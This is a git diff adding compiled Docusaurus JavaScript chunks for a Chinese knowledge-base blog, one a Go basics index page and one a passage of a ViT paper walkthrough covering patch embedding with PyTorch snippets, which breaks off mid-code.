a/en/assets/js/a3e6d116.0de882e9.js b/en/assets/js/a3e6d116.0de882e9.js new file mode 100644 index 0000000..886efc8 --- /dev/null +++ b/en/assets/js/a3e6d116.0de882e9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[294],{15573:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>o,toc:()=>d});const o=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/README","title":"Go\u57fa\u7840\u7f16\u7a0b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u8bed\u8a00\u77e5\u8bc6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/"},"next":{"title":"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e"}}');var s=n(74848),r=n(28453);const l={},i="Go\u57fa\u7840\u7f16\u7a0b",c={},d=[];function a(e){const t={a:"a",blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"go\u57fa\u7840\u7f16\u7a0b",children:"Go\u57fa\u7840\u7f16\u7a0b"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:29:12"})]})})]}),"\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsx)(t.p,{children:"[!Tip]"}),"\n"]}),"\n",(0,s.jsxs)(t.p,{children:["\u672c\u7bc7\u77e5\u8bc6\uff0c\u642c\u8fd0\u81f3 ",(0,s.jsx)(t.a,{href:"https://www.liwenzhou.com/posts/Go/golang-menu/",children:"Go\u8bed\u8a00\u5b66\u4e60\u4e4b\u8def/Go\u8bed\u8a00\u6559\u7a0b | \u674e\u6587\u5468\u7684\u535a\u5ba2"}),"\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8054\u7cfb\u6211\u4e0b\u67b6 \u3002"]}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>i});var o=n(96540);const s={},r=o.createContext(s);function l(e){const t=o.useContext(r);return o.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),o.createElement(r.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/a41e22a0.99f96216.js b/en/assets/js/a41e22a0.99f96216.js new file mode 100644 index 0000000..0caeeaf --- /dev/null +++ b/en/assets/js/a41e22a0.99f96216.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9589],{28453:(e,n,s)=>{s.d(n,{R:()=>a,x:()=>d});var t=s(96540);const i={},r=t.createContext(i);function a(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:a(e.components),t.createElement(r.Provider,{value:n},e.children)}},49848:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>o,contentTitle:()=>d,default:()=>h,frontMatter:()=>a,metadata:()=>t,toc:()=>l});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","title":"ViT\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Transformer \u89e3\u8bfb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb"},"next":{"title":"MMYOLO\u5b9e\u73b0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/"}}');var i=s(74848),r=s(28453);const a={},d="ViT\u89e3\u8bfb.md",o={},l=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"ViT \u7684\u6574\u4f53\u6d41\u7a0b",id:"vit-\u7684\u6574\u4f53\u6d41\u7a0b",level:2},{value:"\u5207\u5206\u548c\u6620\u5c04 Patch Embedding + Linear Projection",id:"\u5207\u5206\u548c\u6620\u5c04-patch-embedding--linear-projection",level:2},{value:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f Class Token + Postional Embedding",id:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f-class-token--postional-embedding",level:2},{value:"Transformer Encoder",id:"transformer-encoder",level:2},{value:"Multi-head Attention",id:"multi-head-attention",level:3},{value:"MLP",id:"mlp",level:3},{value:"Layer Norm",id:"layer-norm",level:3},{value:"Transformer Encoder \u5b8c\u6574\u4ee3\u7801",id:"transformer-encoder-\u5b8c\u6574\u4ee3\u7801",level:3},{value:"ViT \u5b8c\u6574\u4ee3\u7801",id:"vit-\u5b8c\u6574\u4ee3\u7801",level:2}];function c(e){const n={a:"a",b:"b",blockquote:"blockquote",br:"br",center:"center",code:"code",em:"em",figure:"figure",font:"font",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"vit\u89e3\u8bfbmd",children:"ViT\u89e3\u8bfb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:39"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(n.h1,{id:"vit\u89e3\u8bfb",children:"ViT\u89e3\u8bfb"}),"\n",(0,i.jsxs)(n.p,{children:["\n",(0,i.jsx)(n.font,{size:"3",children:(0,i.jsx)(n.b,{children:"[ViT] An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale."})}),"\n",(0,i.jsx)(n.br,{}),"\n",(0,i.jsx)(n.font,{size:"2",children:"Alexey Dosovitskiy, Lucas Beyer, Alexander Kolesnikov, Dirk Weissenborn, Xiaohua Zhai, Thomas Unterthiner, Mostafa Dehghani, Matthias Minderer, Georg Heigold, Sylvain Gelly, Jakob Uszkoreit, Neil Houlsby."}),"\n",(0,i.jsx)(n.br,{}),"\n",(0,i.jsx)(n.font,{size:"2",children:"ICLR 2021."}),"\n",(0,i.jsx)(n.a,{href:"https://arxiv.org/pdf/2010.11929v2.pdf",children:"[paper]"})," ",(0,i.jsx)(n.a,{href:"https://github.com/lucidrains/vit-pytorch/blob/main/vit_pytorch/vit.py",children:"[code]"})," \n",(0,i.jsx)(n.br,{}),"\n",(0,i.jsx)(n.font,{size:"3",children:"\u89e3\u8bfb\u8005\uff1a\u725b\u5fd7\u5eb7\uff0c\u897f\u5b89\u7535\u5b50\u79d1\u6280\u5927\u5b66\u672c\u79d1\u751f\uff0cDatawhale\u6210\u5458\uff1b\u5c0f\u996d\u540c\u5b66\uff0c\u9999\u6e2f\u57ce\u5e02\u5927\u5b66\u7814\u7a76\u751f\n"}),"\n",(0,i.jsx)(n.br,{}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,i.jsx)(n.p,{children:"Transformer \u5df2\u7ecf\u6210\u4e3a\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4efb\u52a1\u7684\u4e00\u79cd\u57fa\u7840\u7f51\u7edc\uff0c\u4f46\u5b83\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u7684\u5e94\u7528\u4ecd\u7136\u6709\u9650\u3002\u56e0\u4e3a Transformer \u5bf9\u5e8f\u5217\u8fdb\u884c\u5efa\u6a21\uff0c\u5982\u679c\u6211\u4eec\u5c06\u56fe\u50cf\u79cd\u7684\u6bcf\u4e00\u4e2a\u50cf\u7d20\u90fd\u4f5c\u4e3a\u5e8f\u5217\u4e2d\u7684\u5143\u7d20\uff0c\u56e0\u4e3a\u5e8f\u5217\u7684\u5927\u5c0f\u4e0e\u56fe\u7247\u7684\u5927\u5c0f\u5448\u5e73\u65b9\u5173\u7cfb\uff0c\u5c06\u5bfc\u81f4\u8ba1\u7b97\u91cf\u5927\u5927\u589e\u52a0\u3002\u73b0\u6709\u7684\u5de5\u4f5c\u8981\u4e48\u662f\u5c06\u6ce8\u610f\u529b\u4e0e\u5377\u79ef\u7f51\u7edc\u7ed3\u5408\u4f7f\u7528\uff0c\u8981\u4e48\u7528\u6ce8\u610f\u529b\u673a\u5236\u66ff\u6362 CNN \u7684\u67d0\u4e9b\u7ec4\u4ef6\u6216\u8005\u964d\u4f4e\u56fe\u7247\u7684\u5e8f\u5217\u957f\u5ea6\u3002\u8fd9\u4e9b\u6539\u8fdb\u90fd\u662f\u57fa\u4e8e convolutional neural network (CNN) \u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u6784\u5efa\u7684\uff0c\u4e8e\u662f\u4eba\u4eec\u5c31\u5728\u5e0c\u671b\u6709\u4e00\u79cd\u5b8c\u5168\u57fa\u4e8e Transformer \u7684\u9aa8\u5e72\u7f51\u7edc\uff0c\u53ef\u4ee5\u62e5\u6709 Transformer \u5168\u5c40\u5efa\u6a21\u7684\u7279\u6027\u4e5f\u53ef\u4ee5\u4e0d\u8fc7\u591a\u4fee\u6539\u539f\u59cb Transformer \u7684\u7ed3\u6784\u3002\u57fa\u4e8e\u8fd9\u79cd motivation\uff0c\u624d\u51fa\u73b0\u4e86 Vision Transformer (ViT) \u8fd9\u7bc7\u4f18\u79c0\u7684\u5de5\u4f5c\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u672c\u6587\u5c06\u4ece\u539f\u7406\u548c\u4ee3\u7801\u5b9e\u73b0\u4e0a\u8fdb\u884c\u8bb2\u89e3\uff0c\u7ed3\u5408\u672c\u8bfe\u7a0b\u9700\u6c42\uff0c\u6211\u4eec\u5c06\u7740\u91cd\u8bb2\u89e3\u4ee3\u7801\u7684\u5b9e\u73b0\uff0c\u8bba\u6587\u4e2d\u66f4\u591a\u7684\u7ec6\u8282\u8fd8\u8bf7\u5404\u4f4d\u540c\u5b66\u8be6\u7ec6\u9605\u8bfb\u539f\u8bba\u6587\u6216\u5173\u6ce8 Whalepaper \u540e\u7eed\u7684\u8bba\u6587\u7cbe\u8bfb\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"vit-\u7684\u6574\u4f53\u6d41\u7a0b",children:"ViT \u7684\u6574\u4f53\u6d41\u7a0b"}),"\n",(0,i.jsxs)(n.p,{children:["\u5982\u4e0b\u56fe\u6240\u793a\uff0cViT \u7684\u4e3b\u8981\u601d\u60f3\u662f\u5c06\u56fe\u7247\u5206\u6210\u4e00\u4e2a\u4e00\u4e2a\u7684\u5c0f ",(0,i.jsx)(n.code,{children:"patch"}),"\uff0c\u5c06\u6bcf\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"patch"})," \u4f5c\u4e3a\u5e8f\u5217\u7684\u5143\u7d20\u8f93\u5165 Transformer \u4e2d\u8fdb\u884c\u8ba1\u7b97\u3002\n",(0,i.jsx)(n.img,{src:"figures/vit_framework.png",align:"center",style:{zoom:"80%"}})]}),"\n",(0,i.jsx)(n.p,{children:"\u5176\u5177\u4f53\u6d41\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"\u5207\u5206\u548c\u6620\u5c04"}),"\uff1a\u5bf9\u4e00\u5f20\u6807\u51c6\u56fe\u50cf\uff0c\u6211\u4eec\u9996\u5148\u5c06\u56fe\u7247\u5207\u5206\u6210\u4e00\u4e2a\u4e00\u4e2a\u5c0f\u7684 ",(0,i.jsx)(n.code,{children:"patch"}),"\uff0c\u7136\u540e\u5c06\u5b83\u4eec\u7684\u7ef4\u5ea6\u62c9\u5e73 ",(0,i.jsx)(n.code,{children:"Flatten"})," \u4e3a\u4e00\u7ef4\u7684\u5411\u91cf\uff0c\u6700\u540e\u6211\u4eec\u5c06\u8fd9\u4e9b\u5411\u91cf\u901a\u8fc7\u7ebf\u6027\u6620\u5c04 ",(0,i.jsx)(n.code,{children:"Linear Project"})," $\\mathbf{E}$ \u5230\u7ef4\u5ea6\u4e3a $D$ \u7684\u7a7a\u95f4\u3002"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f"}),"\uff1a",(0,i.jsx)(n.strong,{children:"\u5206\u7c7b\u8868\u5f81"}),"\uff1a\u4e3a\u4e86\u5b9e\u73b0\u56fe\u50cf\u5206\u7c7b\uff0c\u6211\u4eec\u5728\u5f97\u5230\u7684\u5411\u91cf\u4e2d\u9700\u8981\u52a0\u5165\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"classs token"})," $\\mathbf{x}",(0,i.jsxs)(n.em,{children:["\\text{class}$ \u4f5c\u4e3a\u5206\u7c7b\u8868\u5f81\uff08\u5982\u4e0a\u56fe\u4e2d\u6807\u6ce8 $*$\u7684\u7c89\u8272\u5411\u91cf\u6240\u793a\uff09\u3002",(0,i.jsx)(n.strong,{children:"\u4f4d\u7f6e\u4fe1\u606f"}),"\uff1a\u56fe\u50cf\u548c\u6587\u672c\u4e00\u6837\u4e5f\u9700\u8981\u6ce8\u610f\u987a\u5e8f\u95ee\u9898\uff0c\u56e0\u6b64\u4f5c\u8005\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"Position Embedding"})," $\\mathbf{E}"]}),"{pos}$ \u52a0\u5165\u4f4d\u7f6e\u7f16\u7801\u4fe1\u606f\uff08\u5982\u4e0a\u56fe\u4e2d\u6807\u6ce8 $0-9$ \u7684\u7d2b\u8272\u5411\u91cf\u6240\u793a\uff09\u3002"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Transformer Encoder"}),"\uff1a\u7136\u540e\u6211\u4eec\u5c06\u7ecf\u8fc7\u4e0a\u9762\u64cd\u4f5c\u7684 ",(0,i.jsx)(n.code,{children:"token"})," \u9001\u5165 ",(0,i.jsx)(n.code,{children:"Transformer Encoder"}),"\u3002\u8fd9\u91cc\u7684 ",(0,i.jsx)(n.code,{children:"Transformer Encoder"})," \u548c ",(0,i.jsx)(n.code,{children:"Transformer (Attention is All You Need)"})," \u6587\u7ae0\u4e2d\u5b9e\u73b0\u57fa\u672c\u4e00\u81f4\uff0c\u4e3b\u8981\u662f\u901a\u8fc7\u591a\u5934\u6ce8\u610f\u529b\u673a\u5236\uff0c\u5bf9 ",(0,i.jsx)(n.code,{children:"patch"})," \u4e4b\u95f4\u8fdb\u884c\u5168\u5c40\u7684\u4fe1\u606f\u63d0\u53d6\u3002"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"\u8f93\u51fa\u4e0e\u5206\u7c7b"}),"\uff1a\u5bf9\u4e8e\u5206\u7c7b\u4efb\u52a1\uff0c\u6211\u4eec\u53ea\u9700\u8981\u83b7\u5f97 ",(0,i.jsx)(n.code,{children:"class token"})," \u7ecf\u8fc7 ",(0,i.jsx)(n.code,{children:"Transformer Encoder"})," \u5f97\u5230\u7684\u8f93\u51fa\uff0c\u52a0\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"MLP Head"})," \u8fdb\u884c\u5206\u7c7b\u5b66\u4e60\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u6211\u4eec\u8bba\u6587\u4ee3\u7801\u7684\u8bb2\u89e3\u4e5f\u5c06\u6309\u7167\u4e0a\u9762\u7684\u6d41\u7a0b\uff0c\u5bf9\u91cd\u8981\u6a21\u5757\u8fdb\u884c\u8bb2\u89e3\uff0c\u6211\u4eec\u6240\u5c55\u793a\u7684ViT\u4ee3\u7801\u793a\u4f8b\u6765\u6e90\u4e8e",(0,i.jsx)(n.a,{href:"https://github.com/rwightman/pytorch-image-models/blob/master/timm/models/vision_transformer.py",children:"rwightman/timm"}),"\u5e76\u8fdb\u884c\u4e86\u90e8\u5206\u7b80\u5316\uff0c\u5728\u6b64\u611f\u8c22\u6bcf\u4e00\u4f4d\u5f00\u6e90\u8d21\u732e\u8005\u6240\u4f5c\u51fa\u7684\u8d21\u732e\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"\u5207\u5206\u548c\u6620\u5c04-patch-embedding--linear-projection",children:"\u5207\u5206\u548c\u6620\u5c04 Patch Embedding + Linear Projection"}),"\n",(0,i.jsxs)(n.p,{children:["\u5bf9\u4e00\u5f20\u6807\u51c6\u56fe\u50cf $\\mathbf{x}$\uff0c\u5176\u5206\u8fa8\u7387\u4e3a $H \\times W \\times C$\u3002\u4e3a\u4e86\u65b9\u4fbf\u8ba8\u8bba\uff0c\u6211\u4eec\u53d6 ViT \u7684\u6807\u51c6\u8f93\u5165 $H \\times W \\times C = 224 \\times 224 \\times 3$ \u8fdb\u884c\u4e00\u4e9b\u5177\u4f53\u7ef4\u5ea6\u7684\u8bb2\u89e3\u3002\u901a\u8fc7\u5207\u5206\u64cd\u4f5c\uff0c\u6211\u4eec\u5c06\u6574\u4e2a\u56fe\u7247\u5206\u6210\u591a\u4e2a ",(0,i.jsx)(n.code,{children:"patch"})," $\\mathbf{x}_p$\uff0c\u5176\u5927\u5c0f\u4e3a $$P \\times P \\times C = 16 \\times 16 \\times 3 = 768\u3002$$ \u8fd9\u6837\uff0c\u4e00\u5171\u53ef\u4ee5\u5f97\u5230 ",(0,i.jsx)(n.code,{children:"Patch"})," \u7684\u6570\u91cf\u4e3a $$N={(H \\times W)}/{(P \\times P)} = {(224 \\times 224)}/{(16 \\times 16)} = {(224 / 16)}\\times {(224 / 16)} = 14 \\times 14 = 196\u3002$$ \u6240\u4ee5\uff0c\u6211\u4eec\u5c06\u4e00\u5f20 $224 \\times 224 \\times 3$ \u7684\u6807\u51c6\u56fe\u7247\uff0c \u901a\u8fc7\u8f6c\u6362\u5f97\u5230\u4e86 $196$ \u4e2a ",(0,i.jsx)(n.code,{children:"patch"}),"\uff0c\u6bcf\u4e2a ",(0,i.jsx)(n.code,{children:"patch"})," \u7684\u7ef4\u5ea6\u662f $768$\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5bf9\u5f97\u5230\u7684 ",(0,i.jsx)(n.code,{children:"patch"})," \u901a\u8fc7 $\\mathbf{E} \\in {\\mathbb{R}^{768 \\times D}}$ \u8fdb\u884c\u7ebf\u6027\u6620\u5c04\u5230\u7ef4\u5ea6 $D$\uff0c\u6211\u4eec\u5c06\u6620\u5c04\u540e\u7684 ",(0,i.jsx)(n.code,{children:"patch"})," \u53eb\u505a ",(0,i.jsx)(n.code,{children:"token"}),"\uff0c\u4ee5\u4fbf\u4e8e\u548c\u539f\u672c Transformer \u7684\u672f\u8bed\u8fdb\u884c\u7edf\u4e00\uff08\u4ee3\u7801\u4e2d\u9ed8\u8ba4\u7684 $D$ \u4ecd\u7136\u4e3a $768$\u3002\u6211\u4eec\u8ba4\u4e3a\uff0c\u4e3a\u4e86\u4e0d\u635f\u5931\u4fe1\u606f\uff0c\u8fd9\u91cc $D$ \u6ee1\u8db3\u5927\u4e8e\u7b49\u4e8e $768$ \u5373\u53ef\uff09\u3002\u5bf9\u5e94\u6587\u4e2d\u516c\u5f0f\uff0c\u4e0a\u8ff0\u64cd\u4f5c\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a\n$$\n\\begin{align}\n[\\mathbf{x}_p^1\\mathbf{E}; \\mathbf{x}_p^2\\mathbf{E}; \\cdots; \\mathbf{x}_p^N\\mathbf{E}], \\quad \\mathbf{E}\\in\\mathbb{R}^{(P^2\\cdot C)\\times D}\u3002\n\\end{align}\n$$"]}),"\n",(0,i.jsxs)(n.p,{children:["\u4ee5\u4e0a\u662f\u6309\u7167\u539f\u8bba\u6587\u5bf9",(0,i.jsx)(n.strong,{children:"\u5207\u5206\u548c\u6620\u5c04"}),"\u7684\u8bb2\u89e3\uff0c\u5728\u5b9e\u9645\u7684\u4ee3\u7801\u5b9e\u73b0\u8fc7\u7a0b\u4e2d\uff0c\u5207\u5206\u548c\u6620\u5c04\u5b9e\u9645\u4e0a\u662f\u901a\u8fc7\u4e00\u4e2a\u4e8c\u7ef4\u5377\u79ef ",(0,i.jsx)(n.code,{children:"nn.Conv2d()"})," \u4e00\u6b65\u5b8c\u6210\u7684\u3002\u4e3a\u4e86\u5b9e\u73b0\u4e00\u6b65\u64cd\u4f5c\uff0c\u4f5c\u8005\u5c06\u5377\u79ef\u6838\u7684\u5927\u5c0f ",(0,i.jsx)(n.code,{children:"kernal_size"})," \u76f4\u63a5\u8bbe\u7f6e\u4e3a\u4e86 ",(0,i.jsx)(n.code,{children:"patch_size"}),"\uff0c\u5373 $P=16$\u3002\u7136\u540e\uff0c\u5c06\u5377\u79ef\u6838\u7684\u6b65\u957f ",(0,i.jsx)(n.code,{children:"stride"})," \u4e5f\u8bbe\u7f6e\u4e3a\u4e86\u540c\u6837\u7684 ",(0,i.jsx)(n.code,{children:"patch_size"}),"\uff0c\u8fd9\u6837\u5c31\u5b9e\u73b0\u4e86\u4e0d\u91cd\u590d\u7684\u5207\u5272\u56fe\u7247\u3002\u800c\u5377\u79ef\u7684\u7279\u5f81\u8f93\u5165\u548c\u8f93\u51fa\u7ef4\u5ea6\uff0c\u5206\u522b\u8bbe\u4e3a\u4e86 $C=3$ \u548c $D=768$\uff0c\u5bf9\u5e94\u4e0b\u65b9\u4ee3\u7801\u7684 ",(0,i.jsx)(n.code,{children:"in_c"})," \u548c ",(0,i.jsx)(n.code,{children:"embed_dim"}),"\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"self.proj = nn.Conv2d(in_c, embed_dim, kernel_size=patch_size, stride=patch_size)\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u4e00\u5f20 $1 \\times 3 \\times 224 \\times 224$ \u7684\u56fe\u50cf\uff08\u5176\u4e2d $1$ \u662f ",(0,i.jsx)(n.code,{children:"batch_size"})," \u7684\u7ef4\u5ea6\uff09\uff0c\u7ecf\u8fc7\u4e0a\u8ff0\u5377\u79ef\u64cd\u4f5c\u5f97\u5230 $1 \\times 768 \\times 14 \\times 14$ \u7684\u5f20\u91cf\u3002\uff08\u4ee3\u7801\u4e2d\u5c06 $14 \\times 14 = 196$ \u5f53\u4f5c ",(0,i.jsx)(n.code,{children:"grid"})," \u7684\u4e2a\u6570\uff0c\u5373 ",(0,i.jsx)(n.code,{children:"grid_size=(14, 14)"}),"\uff09\u7136\u540e\uff0c\u5bf9\u5176\u8fdb\u884c\u62c9\u5e73 ",(0,i.jsx)(n.code,{children:"flatten(2)"})," \u5f97\u5230 $1 \\times 768 \\times 196$ \u7684\u5f20\u91cf\u3002\u56e0\u4e3a Transformer \u9700\u8981\u5c06\u5e8f\u5217\u7ef4\u5ea6\u8c03\u6574\u5230\u524d\u9762\uff0c\u6211\u4eec\u518d\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"transpose(1, 2)"})," \u8c03\u6574\u7279\u5f81\u548c\u5e8f\u5217\u7ef4\u5ea6\uff0c\u6700\u7ec8\u5f97\u5230\u7684\u5f20\u91cf\u5927\u5c0f\u4e3a $1 \\times 196 \\times 768$\u3002\u5207\u5206\u3001\u6620\u5c04\u3001\u62c9\u5e73\u548c\u7ef4\u5ea6\u8c03\u6574\u7edf\u7edf\u7ecf\u8fc7\u4e0b\u9762\u4e00\u6b65\u64cd\u4f5c\u5f97\u5230\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"x = self.proj(x).flatten(2).transpose(1, 2)\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u4ee3\u7801\u4e2d\uff0c\u8fd9\u4e9b\u64cd\u4f5c\u5168\u90e8\u88ab\u5199\u5728\u540d\u4e3a ",(0,i.jsx)(n.code,{children:"PatchEmbed"})," \u7684\u6a21\u5757\u4e2d\uff0c\u5176\u5177\u4f53\u7684\u5b9e\u73b0\u5982\u4e0b\u6240\u793a\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'class PatchEmbed(nn.Module):\n """\n Image --\x3e Patch Embedding --\x3e Linear Proj --\x3e Pos Embedding\n Image size -> [224,224,3]\n Patch size -> 16*16\n Patch num -> 